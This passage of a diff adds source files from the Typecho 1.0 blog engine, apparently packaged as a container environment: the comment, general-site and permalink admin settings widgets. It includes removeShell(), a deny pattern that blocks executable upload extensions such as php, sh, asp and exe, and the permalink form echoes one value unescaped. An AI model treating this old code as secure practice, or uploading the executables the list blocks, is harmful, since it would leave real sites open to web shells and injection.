Widget_Abstract_Options implements Widget_Interface_Do +{ + /** + * 输出表单结构 + * + * @access public + * @return Typecho_Widget_Helper_Form + */ + public function form() + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/options-discussion'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 评论日期格式 */ + $commentDateFormat = new Typecho_Widget_Helper_Form_Element_Text('commentDateFormat', NULL, $this->options->commentDateFormat, + _t('评论日期格式'), _t('这是一个默认的格式,当你在模板中调用显示评论日期方法时, 如果没有指定日期格式, 将按照此格式输出.') . '<br />' + . _t('具体写法请参考 <a href="http://www.php.net/manual/zh/function.date.php">PHP 日期格式写法</a>.')); + $commentDateFormat->input->setAttribute('class', 'w-40 mono'); + $form->addInput($commentDateFormat); + + /** 评论列表数目 */ + $commentsListSize = new Typecho_Widget_Helper_Form_Element_Text('commentsListSize', NULL, $this->options->commentsListSize, + _t('评论列表数目'), _t('此数目用于指定显示在侧边栏中的评论列表数目.')); + $commentsListSize->input->setAttribute('class', 'w-20'); + $form->addInput($commentsListSize->addRule('isInteger', _t('请填入一个数字'))); + + $commentsShowOptions = array( + 'commentsShowCommentOnly' => _t('仅显示评论, 不显示 Pingback 和 Trackback'), + 'commentsMarkdown' => _t('在评论中使用Markdown语法'), + 'commentsShowUrl' => _t('评论者名称显示时自动加上其个人主页链接'), + 'commentsUrlNofollow' => _t('对评论者个人主页链接使用 <a href="http://en.wikipedia.org/wiki/Nofollow">nofollow 属性</a>'), + 'commentsAvatar' => _t('启用 <a href="http://gravatar.com">Gravatar</a> 头像服务, 最高显示评级为 %s 的头像', + '</label><select id="commentsShow-commentsAvatarRating" name="commentsAvatarRating"> + <option value="G"' . ('G' == $this->options->commentsAvatarRating ? ' selected="true"' : '') . '>G - 普通</option> + <option value="PG"' . ('PG' == $this->options->commentsAvatarRating ? ' selected="true"' : '') . '>PG - 13岁以上</option> + <option value="R"' . ('R' == $this->options->commentsAvatarRating ? ' selected="true"' : '') . '>R - 17岁以上成人</option> + <option value="X"' . ('X' == $this->options->commentsAvatarRating ? ' selected="true"' : '') . '>X - 限制级</option></select> + <label for="commentsShow-commentsAvatarRating">'), + 'commentsPageBreak' => _t('启用分页, 并且每页显示 %s 篇评论, 在列出时将 %s 作为默认显示', + '</label><input type="text" value="' . $this->options->commentsPageSize + . '" class="text num text-s" id="commentsShow-commentsPageSize" name="commentsPageSize" /><label for="commentsShow-commentsPageSize">', + '</label><select id="commentsShow-commentsPageDisplay" name="commentsPageDisplay"> + <option value="first"' . ('first' == $this->options->commentsPageDisplay ? ' selected="true"' : '') . '>' . _t('第一页') . '</option> + <option value="last"' . ('last' == $this->options->commentsPageDisplay ? ' selected="true"' : '') . '>' . _t('最后一页') . '</option></select>' + . '<label for="commentsShow-commentsPageDisplay">'), + 'commentsThreaded' => _t('启用评论回复, 以 %s 层作为每个评论最多的回复层数', + '</label><input name="commentsMaxNestingLevels" type="text" class="text num text-s" value="' . $this->options->commentsMaxNestingLevels . '" id="commentsShow-commentsMaxNestingLevels" /> + <label for="commentsShow-commentsMaxNestingLevels">') . '</label></span><span class="multiline">' + . _t('将 %s 的评论显示在前面', '<select id="commentsShow-commentsOrder" name="commentsOrder"> + <option value="DESC"' . ('DESC' == $this->options->commentsOrder ? ' selected="true"' : '') . '>' . _t('较新的') . '</option> + <option value="ASC"' . ('ASC' == $this->options->commentsOrder ? ' selected="true"' : '') . '>' . _t('较旧的') . '</option></select><label for="commentsShow-commentsOrder">') + ); + + $commentsShowOptionsValue = array(); + if ($this->options->commentsShowCommentOnly) { + $commentsShowOptionsValue[] = 'commentsShowCommentOnly'; + } + + if ($this->options->commentsMarkdown) { + $commentsShowOptionsValue[] = 'commentsMarkdown'; + } + + if ($this->options->commentsShowUrl) { + $commentsShowOptionsValue[] = 'commentsShowUrl'; + } + + if ($this->options->commentsUrlNofollow) { + $commentsShowOptionsValue[] = 'commentsUrlNofollow'; + } + + if ($this->options->commentsAvatar) { + $commentsShowOptionsValue[] = 'commentsAvatar'; + } + + if ($this->options->commentsPageBreak) { + $commentsShowOptionsValue[] = 'commentsPageBreak'; + } + + if ($this->options->commentsThreaded) { + $commentsShowOptionsValue[] = 'commentsThreaded'; + } + + $commentsShow = new Typecho_Widget_Helper_Form_Element_Checkbox('commentsShow', $commentsShowOptions, + $commentsShowOptionsValue, _t('评论显示')); + $form->addInput($commentsShow->multiMode()); + + /** 评论提交 */ + $commentsPostOptions = array( + 'commentsRequireModeration' => _t('所有评论必须经过审核'), + 'commentsWhitelist' => _t('评论者之前须有评论通过了审核'), + 'commentsRequireMail' => _t('必须填写邮箱'), + 'commentsRequireURL' => _t('必须填写网址'), + 'commentsCheckReferer' => _t('检查评论来源页 URL 是否与文章链接一致'), + 'commentsAntiSpam' => _t('开启反垃圾保护'), + 'commentsAutoClose' => _t('在文章发布 %s 天以后自动关闭评论', + '</label><input name="commentsPostTimeout" type="text" class="text num text-s" value="' . intval($this->options->commentsPostTimeout / (24 * 3600)) . '" id="commentsPost-commentsPostTimeout" /> + <label for="commentsPost-commentsPostTimeout">'), + 'commentsPostIntervalEnable' => _t('同一 IP 发布评论的时间间隔限制为 %s 分钟', + '</label><input name="commentsPostInterval" type="text" class="text num text-s" value="' . round($this->options->commentsPostInterval / (60), 1) . '" id="commentsPost-commentsPostInterval" /> + <label for="commentsPost-commentsPostInterval">') + ); + + $commentsPostOptionsValue = array(); + if ($this->options->commentsRequireModeration) { + $commentsPostOptionsValue[] = 'commentsRequireModeration'; + } + + if ($this->options->commentsWhitelist) { + $commentsPostOptionsValue[] = 'commentsWhitelist'; + } + + if ($this->options->commentsRequireMail) { + $commentsPostOptionsValue[] = 'commentsRequireMail'; + } + + if ($this->options->commentsRequireURL) { + $commentsPostOptionsValue[] = 'commentsRequireURL'; + } + + if ($this->options->commentsCheckReferer) { + $commentsPostOptionsValue[] = 'commentsCheckReferer'; + } + + if ($this->options->commentsAntiSpam) { + $commentsPostOptionsValue[] = 'commentsAntiSpam'; + } + + if ($this->options->commentsAutoClose) { + $commentsPostOptionsValue[] = 'commentsAutoClose'; + } + + if ($this->options->commentsPostIntervalEnable) { + $commentsPostOptionsValue[] = 'commentsPostIntervalEnable'; + } + + $commentsPost = new Typecho_Widget_Helper_Form_Element_Checkbox('commentsPost', $commentsPostOptions, + $commentsPostOptionsValue, _t('评论提交')); + $form->addInput($commentsPost->multiMode()); + + /** 允许使用的HTML标签和属性 */ + $commentsHTMLTagAllowed = new Typecho_Widget_Helper_Form_Element_Textarea('commentsHTMLTagAllowed', NULL, + $this->options->commentsHTMLTagAllowed, + _t('允许使用的HTML标签和属性'), _t('默认的用户评论不允许填写任何的HTML标签, 你可以在这里填写允许使用的HTML标签.') . '<br />' + . _t('比如: %s', ': <code><a href=""> <img src=""> <blockquote></code>')); + $commentsHTMLTagAllowed->input->setAttribute('class', 'mono'); + $form->addInput($commentsHTMLTagAllowed); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit('submit', NULL, _t('保存设置')); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + return $form; + } + + /** + * 执行更新动作 + * + * @access public + * @return void + */ + public function updateDiscussionSettings() + { + /** 验证格式 */ + if ($this->form()->validate()) { + $this->response->goBack(); + } + + $settings = $this->request->from('commentDateFormat', 'commentsListSize', 'commentsPageSize', 'commentsPageDisplay', 'commentsAvatar', + 'commentsOrder', 'commentsMaxNestingLevels', 'commentsUrlNofollow', 'commentsPostTimeout', 'commentsUniqueIpInterval', 'commentsWhitelist', 'commentsRequireMail', 'commentsAvatarRating', + 'commentsPostTimeout', 'commentsPostInterval', 'commentsRequireModeration', 'commentsRequireURL', 'commentsHTMLTagAllowed', 'commentsStopWords', 'commentsIpBlackList'); + $settings['commentsShow'] = $this->request->getArray('commentsShow'); + $settings['commentsPost'] = $this->request->getArray('commentsPost'); + + $settings['commentsShowCommentOnly'] = $this->isEnableByCheckbox($settings['commentsShow'], 'commentsShowCommentOnly'); + $settings['commentsMarkdown'] = $this->isEnableByCheckbox($settings['commentsShow'], 'commentsMarkdown'); + $settings['commentsShowUrl'] = $this->isEnableByCheckbox($settings['commentsShow'], 'commentsShowUrl'); + $settings['commentsUrlNofollow'] = $this->isEnableByCheckbox($settings['commentsShow'], 'commentsUrlNofollow'); + $settings['commentsAvatar'] = $this->isEnableByCheckbox($settings['commentsShow'], 'commentsAvatar'); + $settings['commentsPageBreak'] = $this->isEnableByCheckbox($settings['commentsShow'], 'commentsPageBreak'); + $settings['commentsThreaded'] = $this->isEnableByCheckbox($settings['commentsShow'], 'commentsThreaded'); + + $settings['commentsPageSize'] = intval($settings['commentsPageSize']); + $settings['commentsMaxNestingLevels'] = min(7, max(2, intval($settings['commentsMaxNestingLevels']))); + $settings['commentsPageDisplay'] = ('first' == $settings['commentsPageDisplay']) ? 'first' : 'last'; + $settings['commentsOrder'] = ('DESC' == $settings['commentsOrder']) ? 'DESC' : 'ASC'; + $settings['commentsAvatarRating'] = in_array($settings['commentsAvatarRating'], array('G', 'PG', 'R', 'X')) + ? $settings['commentsAvatarRating'] : 'G'; + + $settings['commentsRequireModeration'] = $this->isEnableByCheckbox($settings['commentsPost'], 'commentsRequireModeration'); + $settings['commentsWhitelist'] = $this->isEnableByCheckbox($settings['commentsPost'], 'commentsWhitelist'); + $settings['commentsRequireMail'] = $this->isEnableByCheckbox($settings['commentsPost'], 'commentsRequireMail'); + $settings['commentsRequireURL'] = $this->isEnableByCheckbox($settings['commentsPost'], 'commentsRequireURL'); + $settings['commentsCheckReferer'] = $this->isEnableByCheckbox($settings['commentsPost'], 'commentsCheckReferer'); + $settings['commentsAntiSpam'] = $this->isEnableByCheckbox($settings['commentsPost'], 'commentsAntiSpam'); + $settings['commentsAutoClose'] = $this->isEnableByCheckbox($settings['commentsPost'], 'commentsAutoClose'); + $settings['commentsPostIntervalEnable'] = $this->isEnableByCheckbox($settings['commentsPost'], 'commentsPostIntervalEnable'); + + $settings['commentsPostTimeout'] = intval($settings['commentsPostTimeout']) * 24 * 3600; + $settings['commentsPostInterval'] = round($settings['commentsPostInterval'], 1) * 60; + + unset($settings['commentsShow']); + unset($settings['commentsPost']); + + foreach ($settings as $name => $value) { + $this->update(array('value' => $value), $this->db->sql()->where('name = ?', $name)); + } + + $this->widget('Widget_Notice')->set(_t("设置已经保存"), 'success'); + $this->response->goBack(); + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + $this->user->pass('administrator'); + $this->security->protect(); + $this->on($this->request->isPost())->updateDiscussionSettings(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Options/General.php b/Typecho/1.0/php-fpm/src/var/Widget/Options/General.php new file mode 100755 index 000000000..c59bca675 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Options/General.php @@ -0,0 +1,266 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 基本设置 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 基本设置组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Options_General extends Widget_Abstract_Options implements Widget_Interface_Do +{ + /** + * 获取语言列表 + * + * @access private + * @return array + */ + public static function getLangs() + { + $dir = defined('__TYPECHO_LANG_DIR__') ? __TYPECHO_LANG_DIR__ : __TYPECHO_ROOT_DIR__ . '/usr/langs'; + $files = glob($dir . '/*.mo'); + $langs = array('zh_CN' => '简体中文'); + + if (!empty($files)) { + foreach ($files as $file) { + $getText = new Typecho_I18n_GetText($file); + list ($name) = explode('.', basename($file)); + $title = $getText->translate('lang', $count); + $langs[$name] = $count > -1 ? $title : $name; + } + + ksort($langs); + } + + return $langs; + } + + /** + * 检查是否在语言列表中 + * + * @param mixed $lang + * @access public + * @return bool + */ + public function checkLang($lang) + { + $langs = self::getLangs(); + return isset($langs[$lang]); + } + + /** + * 输出表单结构 + * + * @access public + * @return Typecho_Widget_Helper_Form + */ + public function form() + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/options-general'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 站点名称 */ + $title = new Typecho_Widget_Helper_Form_Element_Text('title', NULL, $this->options->title, _t('站点名称'), _t('站点的名称将显示在网页的标题处.')); + $title->input->setAttribute('class', 'w-100'); + $form->addInput($title->addRule('required', _t('请填写站点名称')) + ->addRule('xssCheck', _t('请不要在站点名称中使用特殊字符'))); + + /** 站点地址 */ + if (!defined('__TYPECHO_SITE_URL__')) { + $siteUrl = new Typecho_Widget_Helper_Form_Element_Text('siteUrl', NULL, $this->options->originalSiteUrl, _t('站点地址'), _t('站点地址主要用于生成内容的永久链接.') . ($this->options->originalSiteUrl == $this->options->rootUrl ? + '' : '</p><p class="message notice mono">' . _t('当前地址 <strong>%s</strong> 与上述设定值不一致', + $this->options->rootUrl))); + $siteUrl->input->setAttribute('class', 'w-100 mono'); + $form->addInput($siteUrl->addRule('required', _t('请填写站点地址')) + ->addRule('url', _t('请填写一个合法的URL地址'))); + } + + /** 站点描述 */ + $description = new Typecho_Widget_Helper_Form_Element_Text('description', NULL, $this->options->description, _t('站点描述'), _t('站点描述将显示在网页代码的头部.')); + $form->addInput($description->addRule('xssCheck', _t('请不要在站点描述中使用特殊字符'))); + + /** 关键词 */ + $keywords = new Typecho_Widget_Helper_Form_Element_Text('keywords', NULL, $this->options->keywords, _t('关键词'), _t('请以半角逗号 "," 分割多个关键字.')); + $form->addInput($keywords->addRule('xssCheck', _t('请不要在关键词中使用特殊字符'))); + + /** 注册 */ + $allowRegister = new Typecho_Widget_Helper_Form_Element_Radio('allowRegister', array('0' => _t('不允许'), '1' => _t('允许')), $this->options->allowRegister, _t('是否允许注册'), + _t('允许访问者注册到你的网站, 默认的注册用户不享有任何写入权限.')); + $form->addInput($allowRegister); + + /** 语言项 */ + // hack 语言扫描 + _t('lang'); + + $langs = self::getLangs(); + + if (count($langs) > 1) { + $lang = new Typecho_Widget_Helper_Form_Element_Select('lang', $langs, $this->options->lang, _t('语言')); + $form->addInput($lang->addRule(array($this, 'checkLang'), _t('所选择的语言包不存在'))); + } + + /** 时区 */ + $timezoneList = array( + "0" => _t('格林威治(子午线)标准时间 (GMT)'), + "3600" => _t('中欧标准时间 阿姆斯特丹,荷兰,法国 (GMT +1)'), + "7200" => _t('东欧标准时间 布加勒斯特,塞浦路斯,希腊 (GMT +2)'), + "10800" => _t('莫斯科时间 伊拉克,埃塞俄比亚,马达加斯加 (GMT +3)'), + "14400" => _t('第比利斯时间 阿曼,毛里塔尼亚,留尼汪岛 (GMT +4)'), + "18000" => _t('新德里时间 巴基斯坦,马尔代夫 (GMT +5)'), + "21600" => _t('科伦坡时间 孟加拉 (GMT +6)'), + "25200" => _t('曼谷雅加达 柬埔寨,苏门答腊,老挝 (GMT +7)'), + "28800" => _t('北京时间 香港,新加坡,越南 (GMT +8)'), + "32400" => _t('东京平壤时间 西伊里安,摩鹿加群岛 (GMT +9)'), + "36000" => _t('悉尼关岛时间 塔斯马尼亚岛,新几内亚 (GMT +10)'), + "39600" => _t('所罗门群岛 库页岛 (GMT +11)'), + "43200" => _t('惠灵顿时间 新西兰,斐济群岛 (GMT +12)'), + "-3600" => _t('佛德尔群岛 亚速尔群岛,葡属几内亚 (GMT -1)'), + "-7200" => _t('大西洋中部时间 格陵兰 (GMT -2)'), + "-10800" => _t('布宜诺斯艾利斯 乌拉圭,法属圭亚那 (GMT -3)'), + "-14400" => _t('智利巴西 委内瑞拉,玻利维亚 (GMT -4)'), + "-18000" => _t('纽约渥太华 古巴,哥伦比亚,牙买加 (GMT -5)'), + "-21600" => _t('墨西哥城时间 洪都拉斯,危地马拉,哥斯达黎加 (GMT -6)'), + "-25200" => _t('美国丹佛时间 (GMT -7)'), + "-28800" => _t('美国旧金山时间 (GMT -8)'), + "-32400" => _t('阿拉斯加时间 (GMT -9)'), + "-36000" => _t('夏威夷群岛 (GMT -10)'), + "-39600" => _t('东萨摩亚群岛 (GMT -11)'), + "-43200" => _t('艾尼威托克岛 (GMT -12)') + ); + + $timezone = new Typecho_Widget_Helper_Form_Element_Select('timezone', $timezoneList, $this->options->timezone, _t('时区')); + $form->addInput($timezone); + + /** 扩展名 */ + $attachmentTypesOptionsResult = (NULL != trim($this->options->attachmentTypes)) ? + array_map('trim', explode(',', $this->options->attachmentTypes)) : array(); + $attachmentTypesOptionsValue = array(); + + if (in_array('@image@', $attachmentTypesOptionsResult)) { + $attachmentTypesOptionsValue[] = '@image@'; + } + + if (in_array('@media@', $attachmentTypesOptionsResult)) { + $attachmentTypesOptionsValue[] = '@media@'; + } + + if (in_array('@doc@', $attachmentTypesOptionsResult)) { + $attachmentTypesOptionsValue[] = '@doc@'; + } + + $attachmentTypesOther = array_diff($attachmentTypesOptionsResult, $attachmentTypesOptionsValue); + $attachmentTypesOtherValue = ''; + if (!empty($attachmentTypesOther)) { + $attachmentTypesOptionsValue[] = '@other@'; + $attachmentTypesOtherValue = implode(',', $attachmentTypesOther); + } + + $attachmentTypesOptions = array( + '@image@' => _t('图片文件') . ' <code>(gif jpg jpeg png tiff bmp)</code>', + '@media@' => _t('多媒体文件') . ' <code>(mp3 wmv wma rmvb rm avi flv)</code>', + '@doc@' => _t('常用档案文件') . ' <code>(txt doc docx xls xlsx ppt pptx zip rar pdf)</code>', + '@other@' => _t('其他格式 %s', ' <input type="text" class="w-50 text-s mono" name="attachmentTypesOther" value="' . htmlspecialchars($attachmentTypesOtherValue) . '" />'), + ); + + $attachmentTypes = new Typecho_Widget_Helper_Form_Element_Checkbox('attachmentTypes', $attachmentTypesOptions, + $attachmentTypesOptionsValue, _t('允许上传的文件类型'), _t('用逗号 "," 将后缀名隔开, 例如: %s', '<code>cpp, h, mak</code>')); + $form->addInput($attachmentTypes->multiMode()); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit('submit', NULL, _t('保存设置')); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + return $form; + } + + /** + * 过滤掉可执行的后缀名 + * + * @param string $ext + * @return boolean + */ + public function removeShell($ext) + { + return !preg_match("/^(php|php4|php5|sh|asp|jsp|rb|py|pl|dll|exe|bat)$/i", $ext); + } + + /** + * 执行更新动作 + * + * @access public + * @return void + */ + public function updateGeneralSettings() + { + /** 验证格式 */ + if ($this->form()->validate()) { + $this->response->goBack(); + } + + $settings = $this->request->from('title','description', 'keywords', 'allowRegister', 'lang', 'timezone'); + $settings['attachmentTypes'] = $this->request->getArray('attachmentTypes'); + + if (!defined('__TYPECHO_SITE_URL__')) { + $settings['siteUrl'] = rtrim($this->request->siteUrl, '/'); + } + + $attachmentTypes = array(); + if ($this->isEnableByCheckbox($settings['attachmentTypes'], '@image@')) { + $attachmentTypes[] = '@image@'; + } + + if ($this->isEnableByCheckbox($settings['attachmentTypes'], '@media@')) { + $attachmentTypes[] = '@media@'; + } + + if ($this->isEnableByCheckbox($settings['attachmentTypes'], '@doc@')) { + $attachmentTypes[] = '@doc@'; + } + + $attachmentTypesOther = $this->request->filter('trim', 'strtolower')->attachmentTypesOther; + if ($this->isEnableByCheckbox($settings['attachmentTypes'], '@other@') && !empty($attachmentTypesOther)) { + $types = implode(',', array_filter(array_map('trim', + explode(',', $attachmentTypesOther)), array($this, 'removeShell'))); + + if (!empty($types)) { + $attachmentTypes[] = $types; + } + } + + $settings['attachmentTypes'] = implode(',', $attachmentTypes); + foreach ($settings as $name => $value) { + $this->update(array('value' => $value), $this->db->sql()->where('name = ?', $name)); + } + + $this->widget('Widget_Notice')->set(_t("设置已经保存"), 'success'); + $this->response->goBack(); + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + $this->user->pass('administrator'); + $this->security->protect(); + $this->on($this->request->isPost())->updateGeneralSettings(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Options/Permalink.php b/Typecho/1.0/php-fpm/src/var/Widget/Options/Permalink.php new file mode 100755 index 000000000..41d3bf3e2 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Options/Permalink.php @@ -0,0 +1,342 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 基本设置 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 基本设置组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Options_Permalink extends Widget_Abstract_Options implements Widget_Interface_Do +{ + /** + * 编码自定义的路径 + * + * @access private + * @param string $rule 待编码的路径 + * @return string + */ + protected function encodeRule($rule) + { + return str_replace(array('{cid}', '{slug}', '{category}', '{directory}', '{year}', '{month}', '{day}', '{mid}'), + array('[cid:digital]', '[slug]', '[category]', '[directory:split:0]', + '[year:digital:4]', '[month:digital:2]', '[day:digital:2]', '[mid:digital]'), $rule); + } + + /** + * 解析自定义的路径 + * + * @access private + * @param string $rule 待解码的路径 + * @return string + */ + protected function decodeRule($rule) + { + return preg_replace("/\[([_a-z0-9-]+)[^\]]*\]/i", "{\\1}", $rule); + } + + /** + * 检验规则是否冲突 + * + * @access public + * @param string $value 路由规则 + * @return boolean + */ + public function checkRule($value) + { + if ('custom' != $value) { + return true; + } + + $routingTable = $this->options->routingTable; + $currentTable = array('custom' => array('url' => $this->encodeRule($this->request->customPattern))); + $parser = new Typecho_Router_Parser($currentTable); + $currentTable = $parser->parse(); + $regx = $currentTable['custom']['regx']; + + foreach ($routingTable as $key => $val) { + if ('post' != $key && 'page' != $key) { + $pathInfo = preg_replace("/\[([_a-z0-9-]+)[^\]]*\]/i", "{\\1}", $val['url']); + $pathInfo = str_replace(array('{cid}', '{slug}', '{category}', '{year}', '{month}', '{day}', '{', '}'), + array('123', 'hello', 'default', '2008', '08', '08', '', ''), $pathInfo); + + if (preg_match($regx, $pathInfo)) { + return false; + } + } + } + + return true; + } + + /** + * 检查pagePattern里是否含有必要参数 + * + * @param mixed $value + * @access public + * @return void + */ + public function checkPagePattern($value) + { + return strpos($value, '{slug}') !== false || strpos($value, '{cid}') !== false; + } + + /** + * 检查categoryPattern里是否含有必要参数 + * + * @param mixed $value + * @access public + * @return void + */ + public function checkCategoryPattern($value) + { + return strpos($value, '{slug}') !== false || strpos($value, '{mid}') !== false || strpos($value, '{directory}') !== false; + } + + /** + * 检测是否可以rewrite + * + * @access public + * @param string $value 是否打开rewrite + * @return void + */ + public function checkRewrite($value) + { + if ($value) { + $this->user->pass('administrator'); + + /** 首先直接请求远程地址验证 */ + $client = Typecho_Http_Client::get(); + $hasWrote = false; + + if (!file_exists(__TYPECHO_ROOT_DIR__ . '/.htaccess') + && !Typecho_Common::isAppEngine()) { + if (is_writeable(__TYPECHO_ROOT_DIR__)) { + $parsed = parse_url($this->options->siteUrl); + $basePath = empty($parsed['path']) ? '/' : $parsed['path']; + $basePath = rtrim($basePath, '/') . '/'; + + $hasWrote = file_put_contents(__TYPECHO_ROOT_DIR__ . '/.htaccess', "<IfModule mod_rewrite.c> +RewriteEngine On +RewriteBase {$basePath} +RewriteCond %{REQUEST_FILENAME} !-f +RewriteCond %{REQUEST_FILENAME} !-d +RewriteRule ^(.*)$ {$basePath}index.php/$1 [L] +</IfModule>"); + } + } + + try { + if ($client) { + /** 发送一个rewrite地址请求 */ + $client->setData(array('do' => 'remoteCallback')) + ->setHeader('User-Agent', $this->options->generator) + ->send(Typecho_Common::url('/action/ajax', $this->options->siteUrl)); + + if (200 == $client->getResponseStatus() && 'OK' == $client->getResponseBody()) { + return true; + } + } + + if (false !== $hasWrote) { + @unlink(__TYPECHO_ROOT_DIR__ . '/.htaccess'); + + //增强兼容性,使用wordpress的redirect式rewrite规则,虽然效率有点地下,但是对fastcgi模式兼容性较好 + $hasWrote = file_put_contents(__TYPECHO_ROOT_DIR__ . '/.htaccess', "<IfModule mod_rewrite.c> +RewriteEngine On +RewriteBase {$basePath} +RewriteCond %{REQUEST_FILENAME} !-f +RewriteCond %{REQUEST_FILENAME} !-d +RewriteRule . {$basePath}index.php [L] +</IfModule>"); + + //再次进行验证 + $client = Typecho_Http_Client::get(); + + if ($client) { + /** 发送一个rewrite地址请求 */ + $client->setData(array('do' => 'remoteCallback')) + ->setHeader('User-Agent', $this->options->generator) + ->send(Typecho_Common::url('/action/ajax', $this->options->siteUrl)); + + if (200 == $client->getResponseStatus() && 'OK' == $client->getResponseBody()) { + return true; + } + } + + unlink(__TYPECHO_ROOT_DIR__ . '/.htaccess'); + } + } catch (Typecho_Http_Client_Exception $e) { + if (false !== $hasWrote) { + @unlink(__TYPECHO_ROOT_DIR__ . '/.htaccess'); + } + return false; + } + + return false; + } else if (file_exists(__TYPECHO_ROOT_DIR__ . '/.htaccess')) { + @unlink(__TYPECHO_ROOT_DIR__ . '/.htaccess'); + } + + return true; + } + + /** + * 输出表单结构 + * + * @access public + * @return Typecho_Widget_Helper_Form + */ + public function form() + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getRootUrl('index.php/action/options-permalink'), + Typecho_Widget_Helper_Form::POST_METHOD); + + if (!defined('__TYPECHO_REWRITE__')) { + /** 是否使用地址重写功能 */ + $rewrite = new Typecho_Widget_Helper_Form_Element_Radio('rewrite', array('0' => _t('不启用'), '1' => _t('启用')), + $this->options->rewrite, _t('是否使用地址重写功能'), _t('地址重写即 rewrite 功能是某些服务器软件提供的优化内部连接的功能.') . '<br />' + . _t('打开此功能可以让你的链接看上去完全是静态地址.')); + + // disable rewrite check when rewrite opened + if (!$this->options->rewrite && !$this->request->is('enableRewriteAnyway=1')) { + $errorStr = _t('重写功能检测失败, 请检查你的服务器设置'); + + /** 如果是apache服务器, 可能存在无法写入.htaccess文件的现象 */ + if (((isset($_SERVER['SERVER_SOFTWARE']) && false !== strpos(strtolower($_SERVER['SERVER_SOFTWARE']), 'apache')) + || function_exists('apache_get_version')) && !file_exists(__TYPECHO_ROOT_DIR__ . '/.htaccess') + && !is_writeable(__TYPECHO_ROOT_DIR__)) { + $errorStr .= '<br /><strong>' . _t('我们检测到你使用了apache服务器, 但是程序无法在根目录创建.htaccess文件, 这可能是产生这个错误的原因.') + . _t('请调整你的目录权限, 或者手动创建一个.htaccess文件.') . '</strong>'; + } + + $errorStr .= '<br /><input type="checkbox" name="enableRewriteAnyway" id="enableRewriteAnyway" value="1" />' + . ' <label for="enableRewriteAnyway">' . _t('如果你仍然想启用此功能, 请勾选这里') . '</label>'; + $rewrite->addRule(array($this, 'checkRewrite'), $errorStr); + } + + $form->addInput($rewrite); + } + + $patterns = array('/archives/[cid:digital]/' => _t('默认风格') . ' <code>/archives/{cid}/</code>', + '/archives/[slug].html' => _t('wordpress风格') . ' <code>/archives/{slug}.html</code>', + '/[year:digital:4]/[month:digital:2]/[day:digital:2]/[slug].html' => _t('按日期归档') . ' <code>/archives/{year}/{month}/{day}/{slug}.html</code>', + '/[category]/[slug].html' => _t('按分类归档') . ' <code>/{category}/{slug}.html</code>'); + + /** 自定义文章路径 */ + $postPatternValue = $this->options->routingTable['post']['url']; + + /** 增加个性化路径 */ + $customPatternValue = NULL; + if (isset($this->request->__typecho_form_item_postPattern)) { + $customPatternValue = $this->request->__typecho_form_item_postPattern; + Typecho_Cookie::delete('__typecho_form_item_postPattern'); + } else if (!isset($patterns[$postPatternValue])) { + $customPatternValue = $this->decodeRule($postPatternValue); + } + $patterns['custom'] = _t('个性化定义') . ' <input type="text" class="w-50 text-s mono" name="customPattern" value="' . $customPatternValue . '" />'; + + $postPattern = new Typecho_Widget_Helper_Form_Element_Radio('postPattern', $patterns, + $postPatternValue, _t('自定义文章路径'), _t('可用参数: <code>{cid}</code> 日志 ID, <code>{slug}</code> 日志缩略名, <code>{category}</code> 分类, <code>{directory}</code> 多级分类, <code>{year}</code> 年, <code>{month}</code> 月, <code>{day}</code> 日') + . '<br />' . _t('选择一种合适的文章静态路径风格, 使得你的网站链接更加友好.') + . '<br />' . _t('一旦你选择了某种链接风格请不要轻易修改它.')); + if ($customPatternValue) { + $postPattern->value('custom'); + } + $form->addInput($postPattern->multiMode()); + + /** 独立页面后缀名 */ + $pagePattern = new Typecho_Widget_Helper_Form_Element_Text('pagePattern', NULL, $this->decodeRule($this->options->routingTable['page']['url']), _t('独立页面路径'), _t('可用参数: <code>{cid}</code> 页面 ID, <code>{slug}</code> 页面缩略名') + . '<br />' . _t('请在路径中至少包含上述的一项参数.')); + $pagePattern->input->setAttribute('class', 'mono w-60'); + $form->addInput($pagePattern->addRule(array($this, 'checkPagePattern'), _t('独立页面路径中没有包含 {cid} 或者 {slug} '))); + + /** 分类页面 */ + $categoryPattern = new Typecho_Widget_Helper_Form_Element_Text('categoryPattern', NULL, $this->decodeRule($this->options->routingTable['category']['url']), _t('分类路径'), _t('可用参数: <code>{mid}</code> 分类 ID, <code>{slug}</code> 分类缩略名, <code>{directory}</code> 多级分类') + . '<br />' . _t('请在路径中至少包含上述的一项参数.')); + $categoryPattern->input->setAttribute('class', 'mono w-60'); + $form->addInput($categoryPattern->addRule(array($this, 'checkCategoryPattern'), _t('分类路径中没有包含 {mid} 或者 {slug} '))); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit('submit', NULL, _t('保存设置')); + $submit->input->setAttribute('class', 'btn primary'); + 